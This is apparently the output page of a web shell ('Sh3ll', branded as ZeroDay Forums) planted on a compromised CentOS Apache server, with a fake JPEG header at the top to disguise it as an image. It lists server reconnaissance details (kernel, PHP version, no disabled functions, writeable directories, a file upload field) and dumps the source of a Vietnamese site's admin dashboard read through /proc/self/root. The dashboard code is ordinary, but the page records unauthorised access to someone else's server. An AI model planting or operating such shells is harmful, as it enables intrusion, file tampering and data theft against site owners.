����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/tien-dien/code/admin/home/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/tien-dien/code/admin/home/index.php
<?php
$CORE->page_title = 'Admin Dashboard';
$type = $CORE->input['type']??'';
if($type=='total') {
    switch ($type) {
        default:
            $arr = array('total_baiviet' => 0, 'total_menu' => 0, 'total_user' => 0, 'total_contact' => 0);
            $row_papes = $DB->fetch_row($DB->query("SELECT count(*) as total FROM `tb_pages` "));
            $arr['total_baiviet'] = $row_papes['total'];
            $row_menu = $DB->fetch_row($DB->query("SELECT count(*) as total FROM `tb_menus` "));
            $arr['total_menu'] = $row_menu['total'];
            $row_user = $DB->fetch_row($DB->query("SELECT count(*) as total FROM `tb_user` "));
            $arr['total_user'] = $row_user['total'];
            $row_contact = $DB->fetch_row($DB->query("SELECT count(*) as total FROM `tb_contact_form` "));
            $arr['total_contact'] = $row_contact['total'];
            echo json_encode($arr);
            break;
    }
    exit();
}
include ROOT_PATH . 'include/block/header_admin.php';

?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <div class="content-header">
        <div class="container-fluid">
            <div class="row mb-2">
                <div class="col-sm-6">
                    <h1 class="m-0">Dashboard</h1>
                </div><!-- /.col -->
                <div class="col-sm-6">
                    <ol class="breadcrumb float-sm-right">
                        <li class="breadcrumb-item"><a href="?">Home</a></li>
                        <li class="breadcrumb-item active">Dashboard</li>
                    </ol>
                </div><!-- /.col -->
            </div><!-- /.row -->
        </div><!-- /.container-fluid -->
    </div>
    <!-- /.content-header -->
    <!-- Main content -->
    <section class="content">
        <div class="container-fluid">
            <!-- Small boxes (Stat box) -->
            <div class="row">
                <div class="col-lg-3 col-6">
                    <!-- small box -->
                    <div class="small-box bg-info">
                        <div class="inner">
                            <h3 id="total_baiviet"><?php echo $row_papes['total'];?></h3>

                            <p>Bài viết</p>
                        </div>
                        <div class="icon">
                            <i class="ion ion-bag"></i>
                        </div>
                        <a href="?act=admin&code=posts" class="small-box-footer">More info <i class="fas fa-arrow-circle-right"></i></a>
                    </div>
                </div>
                <!-- ./col -->
                <div class="col-lg-3 col-6">
                    <!-- small box -->
                    <div class="small-box bg-success">
                        <div class="inner">
                            <h3 id="total_menu">53</h3>
                            <p>Menu</p>
                        </div>
                        <div class="icon">
                            <i class="ion ion-stats-bars"></i>
                        </div>
                        <a href="?act=admin&code=menus" class="small-box-footer">More info <i class="fas fa-arrow-circle-right"></i></a>
                    </div>
                </div>
                <!-- ./col -->
                <div class="col-lg-3 col-6">
                    <!-- small box -->
                    <div class="small-box bg-warning">
                        <div class="inner">
                            <h3 id="total_user">44</h3>
                            <p>Users</p>
                        </div>
                        <div class="icon">
                            <i class="ion ion-person-add"></i>
                        </div>
                        <a href="?act=admin&code=users" class="small-box-footer">More info <i class="fas fa-arrow-circle-right"></i></a>
                    </div>
                </div>
                <!-- ./col -->
                <div class="col-lg-3 col-6">
                    <!-- small box -->
                    <div class="small-box bg-danger">
                        <div class="inner">
                            <h3 id="total_contact">65</h3>

                            <p>Contact</p>
                        </div>
                        <div class="icon">
                            <i class="ion ion-pie-graph"></i>
                        </div>
                        <a href="?act=admin&code=contact" class="small-box-footer">More info <i class="fas fa-arrow-circle-right"></i></a>
                    </div>
                </div>
                <!-- ./col -->
            </div>
            <!-- /.row -->
            <!-- Main row -->
            <!-- /.row (main row) -->
        </div><!-- /.container-fluid -->
    </section>
    <!-- /.content -->
</div>
<!-- /.content-wrapper -->
<script>
    $( "#total_baiviet" ).html( '<div class="spinner-border text-primary" role="status"><span class="sr-only">Loading...</span></div>' );
    $( "#total_menu" ).html( '<div class="spinner-border text-warning" role="status"><span class="sr-only">Loading...</span></div>' );
    $( "#total_user" ).html( '<div class="spinner-border text-info" role="status"><span class="sr-only">Loading...</span></div>' );
    $( "#total_contact" ).html( '<div class="spinner-border text-success" role="status"><span class="sr-only">Loading...</span></div>' );
    $.getJSON( "index.php?act=admin&code=home&type=total", function( data ) {
        $('#total_baiviet').html(data.total_baiviet);
        $('#total_menu').html(data.total_menu);
        $('#total_user').html(data.total_user);
        $( "#total_contact" ).html( data.total_contact);
        //alert( "Load was performed." );
    });
</script>
<?php
include 'include/block/footer_admin.php';
?>

ZeroDay Forums Mini